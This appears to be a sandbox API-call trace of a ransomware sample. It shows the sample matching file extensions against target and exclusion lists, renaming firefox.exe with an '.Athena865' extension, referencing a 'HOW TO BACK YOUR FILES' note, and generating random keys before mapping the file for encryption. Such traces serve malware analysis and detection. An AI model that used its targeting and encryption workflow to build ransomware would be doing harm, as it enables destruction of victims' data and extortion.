[0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accdc") returned 1 [0043.193] lstrlenW (lpString="accde") returned 5 [0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accde") returned 1 [0043.193] lstrlenW (lpString="accdr") returned 5 [0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accdr") returned 1 [0043.193] lstrlenW (lpString="accdt") returned 5 [0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accdt") returned 1 [0043.193] lstrlenW (lpString="accdw") returned 5 [0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accdw") returned 1 [0043.193] lstrlenW (lpString="accft") returned 5 [0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accft") returned 1 [0043.193] lstrlenW (lpString="adb") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0043.193] lstrlenW (lpString="adb") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0043.193] lstrlenW (lpString="ade") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0043.193] lstrlenW (lpString="adf") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0043.193] lstrlenW (lpString="adn") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0043.193] lstrlenW (lpString="adp") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0043.193] lstrlenW (lpString="alf") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0043.193] lstrlenW (lpString="ask") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0043.193] lstrlenW (lpString="btr") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0043.193] lstrlenW (lpString="cat") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0043.193] lstrlenW (lpString="cdb") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0043.194] lstrlenW (lpString="ckp") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0043.194] lstrlenW (lpString="cma") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0043.194] lstrlenW (lpString="cpd") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0043.194] lstrlenW (lpString="dacpac") returned 6 [0043.194] lstrcmpiW (lpString1="ox.exe", lpString2="dacpac") returned 1 [0043.194] lstrlenW (lpString="dad") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0043.194] lstrlenW (lpString="dadiagrams") returned 10 [0043.194] lstrcmpiW (lpString1="irefox.exe", lpString2="dadiagrams") returned 1 [0043.194] lstrlenW (lpString="daschema") returned 8 [0043.194] lstrcmpiW (lpString1="efox.exe", lpString2="daschema") returned 1 [0043.194] lstrlenW (lpString="db-journal") returned 10 [0043.194] lstrcmpiW (lpString1="irefox.exe", lpString2="db-journal") returned 1 [0043.194] lstrlenW (lpString="db-shm") returned 6 [0043.194] lstrcmpiW (lpString1="ox.exe", lpString2="db-shm") returned 1 [0043.194] lstrlenW (lpString="db-wal") returned 6 [0043.194] lstrcmpiW (lpString1="ox.exe", lpString2="db-wal") returned 1 [0043.194] lstrlenW (lpString="dbc") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0043.194] lstrlenW (lpString="dbs") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0043.194] lstrlenW (lpString="dbt") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0043.194] lstrlenW (lpString="dbv") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0043.194] lstrlenW (lpString="dbx") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0043.194] lstrlenW (lpString="dcb") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0043.194] lstrlenW (lpString="dct") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0043.194] lstrlenW (lpString="dcx") returned 3 [0043.194] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0043.195] lstrlenW (lpString="ddl") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0043.195] lstrlenW (lpString="dlis") returned 4 [0043.195] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0043.195] lstrlenW (lpString="dp1") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0043.195] lstrlenW (lpString="dqy") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0043.195] lstrlenW (lpString="dsk") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0043.195] lstrlenW (lpString="dsn") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0043.195] lstrlenW (lpString="dtsx") returned 4 [0043.195] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0043.195] lstrlenW (lpString="dxl") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0043.195] lstrlenW (lpString="eco") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0043.195] lstrlenW (lpString="ecx") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0043.195] lstrlenW (lpString="edb") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0043.195] lstrlenW (lpString="epim") returned 4 [0043.195] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0043.195] lstrlenW (lpString="fcd") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0043.195] lstrlenW (lpString="fdb") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0043.195] lstrlenW (lpString="fic") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0043.195] lstrlenW (lpString="flexolibrary") returned 12 [0043.195] lstrlenW (lpString="fm5") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0043.195] lstrlenW (lpString="fmp") returned 3 [0043.195] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0043.196] lstrlenW (lpString="fmp12") returned 5 [0043.196] lstrcmpiW (lpString1="x.exe", lpString2="fmp12") returned 1 [0043.196] lstrlenW (lpString="fmpsl") returned 5 [0043.196] lstrcmpiW (lpString1="x.exe", lpString2="fmpsl") returned 1 [0043.196] lstrlenW (lpString="fol") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0043.196] lstrlenW (lpString="fp3") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0043.196] lstrlenW (lpString="fp4") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0043.196] lstrlenW (lpString="fp5") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0043.196] lstrlenW (lpString="fp7") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0043.196] lstrlenW (lpString="fpt") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0043.196] lstrlenW (lpString="frm") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0043.196] lstrlenW (lpString="gdb") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0043.196] lstrlenW (lpString="gdb") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0043.196] lstrlenW (lpString="grdb") returned 4 [0043.196] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0043.196] lstrlenW (lpString="gwi") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0043.196] lstrlenW (lpString="hdb") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0043.196] lstrlenW (lpString="his") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0043.196] lstrlenW (lpString="ib") returned 2 [0043.196] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0043.196] lstrlenW (lpString="idb") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0043.196] lstrlenW (lpString="ihx") returned 3 [0043.196] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0043.196] lstrlenW (lpString="itdb") returned 4 [0043.197] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0043.197] lstrlenW (lpString="itw") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0043.197] lstrlenW (lpString="jet") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0043.197] lstrlenW (lpString="jtx") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0043.197] lstrlenW (lpString="kdb") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0043.197] lstrlenW (lpString="kexi") returned 4 [0043.197] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0043.197] lstrlenW (lpString="kexic") returned 5 [0043.197] lstrcmpiW (lpString1="x.exe", lpString2="kexic") returned 1 [0043.197] lstrlenW (lpString="kexis") returned 5 [0043.197] lstrcmpiW (lpString1="x.exe", lpString2="kexis") returned 1 [0043.197] lstrlenW (lpString="lgc") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0043.197] lstrlenW (lpString="lwx") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0043.197] lstrlenW (lpString="maf") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0043.197] lstrlenW (lpString="maq") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0043.197] lstrlenW (lpString="mar") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0043.197] lstrlenW (lpString="marshal") returned 7 [0043.197] lstrcmpiW (lpString1="fox.exe", lpString2="marshal") returned -1 [0043.197] lstrlenW (lpString="mas") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0043.197] lstrlenW (lpString="mav") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0043.197] lstrlenW (lpString="maw") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0043.197] lstrlenW (lpString="mdbhtml") returned 7 [0043.197] lstrcmpiW (lpString1="fox.exe", lpString2="mdbhtml") returned -1 [0043.197] lstrlenW (lpString="mdn") returned 3 [0043.197] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0043.198] lstrlenW (lpString="mdt") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0043.198] lstrlenW (lpString="mfd") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0043.198] lstrlenW (lpString="mpd") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0043.198] lstrlenW (lpString="mrg") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0043.198] lstrlenW (lpString="mud") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0043.198] lstrlenW (lpString="mwb") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0043.198] lstrlenW (lpString="myd") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0043.198] lstrlenW (lpString="ndf") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0043.198] lstrlenW (lpString="nnt") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0043.198] lstrlenW (lpString="nrmlib") returned 6 [0043.198] lstrcmpiW (lpString1="ox.exe", lpString2="nrmlib") returned 1 [0043.198] lstrlenW (lpString="ns2") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0043.198] lstrlenW (lpString="ns3") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0043.198] lstrlenW (lpString="ns4") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0043.198] lstrlenW (lpString="nsf") returned 3 [0043.198] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0043.198] lstrlenW (lpString="nv") returned 2 [0043.199] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0043.199] lstrlenW (lpString="nv2") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0043.199] lstrlenW (lpString="nwdb") returned 4 [0043.199] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0043.199] lstrlenW (lpString="nyf") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0043.199] lstrlenW (lpString="odb") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0043.199] lstrlenW (lpString="odb") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0043.199] lstrlenW (lpString="oqy") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0043.199] lstrlenW (lpString="ora") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0043.199] lstrlenW (lpString="orx") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0043.199] lstrlenW (lpString="owc") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0043.199] lstrlenW (lpString="p96") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0043.199] lstrlenW (lpString="p97") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0043.199] lstrlenW (lpString="pan") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0043.199] lstrlenW (lpString="pdb") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0043.199] lstrlenW (lpString="pdm") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0043.199] lstrlenW (lpString="pnz") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0043.199] lstrlenW (lpString="qry") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0043.199] lstrlenW (lpString="qvd") returned 3 [0043.199] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0043.199] lstrlenW (lpString="rbf") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0043.200] lstrlenW (lpString="rctd") returned 4 [0043.200] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0043.200] lstrlenW (lpString="rod") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0043.200] lstrlenW (lpString="rodx") returned 4 [0043.200] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0043.200] lstrlenW (lpString="rpd") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0043.200] lstrlenW (lpString="rsd") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0043.200] lstrlenW (lpString="sas7bdat") returned 8 [0043.200] lstrcmpiW (lpString1="efox.exe", lpString2="sas7bdat") returned -1 [0043.200] lstrlenW (lpString="sbf") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0043.200] lstrlenW (lpString="scx") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0043.200] lstrlenW (lpString="sdb") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0043.200] lstrlenW (lpString="sdc") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0043.200] lstrlenW (lpString="sdf") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0043.200] lstrlenW (lpString="sis") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0043.200] lstrlenW (lpString="spq") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0043.200] lstrlenW (lpString="te") returned 2 [0043.200] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0043.200] lstrlenW (lpString="teacher") returned 7 [0043.200] lstrcmpiW (lpString1="fox.exe", lpString2="teacher") returned -1 [0043.200] lstrlenW (lpString="tmd") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0043.200] lstrlenW (lpString="tps") returned 3 [0043.200] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0043.200] lstrlenW (lpString="trc") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0043.201] lstrlenW (lpString="trc") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0043.201] lstrlenW (lpString="trm") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0043.201] lstrlenW (lpString="udb") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0043.201] lstrlenW (lpString="udl") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0043.201] lstrlenW (lpString="usr") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0043.201] lstrlenW (lpString="v12") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0043.201] lstrlenW (lpString="vis") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0043.201] lstrlenW (lpString="vpd") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0043.201] lstrlenW (lpString="vvv") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0043.201] lstrlenW (lpString="wdb") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0043.201] lstrlenW (lpString="wmdb") returned 4 [0043.201] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0043.201] lstrlenW (lpString="wrk") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0043.201] lstrlenW (lpString="xdb") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0043.201] lstrlenW (lpString="xld") returned 3 [0043.201] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0043.201] lstrlenW (lpString="xmlff") returned 5 [0043.201] lstrcmpiW (lpString1="x.exe", lpString2="xmlff") returned -1 [0043.201] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe.Athena865") returned 60 [0043.201] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe.athena865"), dwFlags=0x1) returned 1 [0043.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.202] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=275568) returned 1 [0043.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.203] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.203] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.203] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.204] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43770, lpName=0x0) returned 0x17c [0043.205] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43770) returned 0x1f0000 [0043.217] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.218] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.218] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.218] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0043.221] CloseHandle (hObject=0x17c) returned 1 [0043.221] CloseHandle (hObject=0x154) returned 1 [0043.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.226] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2=".") returned 1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="..") returned 1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="windows") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="bootmgr") returned 1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="temp") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="pagefile.sys") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="boot") returned 1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="ids.txt") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="ntuser.dat") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="perflogs") returned -1 [0043.226] lstrcmpiW (lpString1="freebl3.chk", lpString2="MSBuild") returned -1 [0043.226] lstrlenW (lpString="freebl3.chk") returned 11 [0043.226] lstrcpyW (in: lpString1=0x241e896, lpString2="freebl3.chk" | out: lpString1="freebl3.chk") returned="freebl3.chk" [0043.226] lstrlenW (lpString="freebl3.chk") returned 11 [0043.227] lstrlenW (lpString="Athena865") returned 9 [0043.227] lstrcmpiW (lpString1="eebl3.chk", lpString2="Athena865") returned 1 [0043.227] lstrlenW (lpString=".dll") returned 4 [0043.227] lstrcmpiW (lpString1="freebl3.chk", lpString2=".dll") returned 1 [0043.227] lstrlenW (lpString=".lnk") returned 4 [0043.227] lstrcmpiW (lpString1="freebl3.chk", lpString2=".lnk") returned 1 [0043.227] lstrlenW (lpString=".ini") returned 4 [0043.227] lstrcmpiW (lpString1="freebl3.chk", lpString2=".ini") returned 1 [0043.227] lstrlenW (lpString=".sys") returned 4 [0043.227] lstrcmpiW (lpString1="freebl3.chk", lpString2=".sys") returned 1 [0043.227] lstrlenW (lpString="freebl3.chk") returned 11 [0043.227] lstrlenW (lpString="bak") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="bak") returned 1 [0043.227] lstrlenW (lpString="ba_") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="ba_") returned 1 [0043.227] lstrlenW (lpString="dbb") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="dbb") returned -1 [0043.227] lstrlenW (lpString="vmdk") returned 4 [0043.227] lstrcmpiW (lpString1=".chk", lpString2="vmdk") returned -1 [0043.227] lstrlenW (lpString="rar") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="rar") returned -1 [0043.227] lstrlenW (lpString="zip") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="zip") returned -1 [0043.227] lstrlenW (lpString="tgz") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="tgz") returned -1 [0043.227] lstrlenW (lpString="vbox") returned 4 [0043.227] lstrcmpiW (lpString1=".chk", lpString2="vbox") returned -1 [0043.227] lstrlenW (lpString="vdi") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="vdi") returned -1 [0043.227] lstrlenW (lpString="vhd") returned 3 [0043.227] lstrcmpiW (lpString1="chk", lpString2="vhd") returned -1 [0043.227] lstrlenW (lpString="vhdx") returned 4 [0043.227] lstrcmpiW (lpString1=".chk", lpString2="vhdx") returned -1 [0043.227] lstrlenW (lpString="avhd") returned 4 [0043.227] lstrcmpiW (lpString1=".chk", lpString2="avhd") returned -1 [0043.228] lstrlenW (lpString="db") returned 2 [0043.228] lstrcmpiW (lpString1="hk", lpString2="db") returned 1 [0043.228] lstrlenW (lpString="db2") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="db2") returned -1 [0043.228] lstrlenW (lpString="db3") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="db3") returned -1 [0043.228] lstrlenW (lpString="dbf") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="dbf") returned -1 [0043.228] lstrlenW (lpString="mdf") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="mdf") returned -1 [0043.228] lstrlenW (lpString="mdb") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="mdb") returned -1 [0043.228] lstrlenW (lpString="sql") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="sql") returned -1 [0043.228] lstrlenW (lpString="sqlite") returned 6 [0043.228] lstrcmpiW (lpString1="l3.chk", lpString2="sqlite") returned -1 [0043.228] lstrlenW (lpString="sqlite3") returned 7 [0043.228] lstrcmpiW (lpString1="bl3.chk", lpString2="sqlite3") returned -1 [0043.228] lstrlenW (lpString="sqlitedb") returned 8 [0043.228] lstrcmpiW (lpString1="ebl3.chk", lpString2="sqlitedb") returned -1 [0043.228] lstrlenW (lpString="xml") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="xml") returned -1 [0043.228] lstrlenW (lpString="$er") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="$er") returned 1 [0043.228] lstrlenW (lpString="4dd") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="4dd") returned 1 [0043.228] lstrlenW (lpString="4dl") returned 3 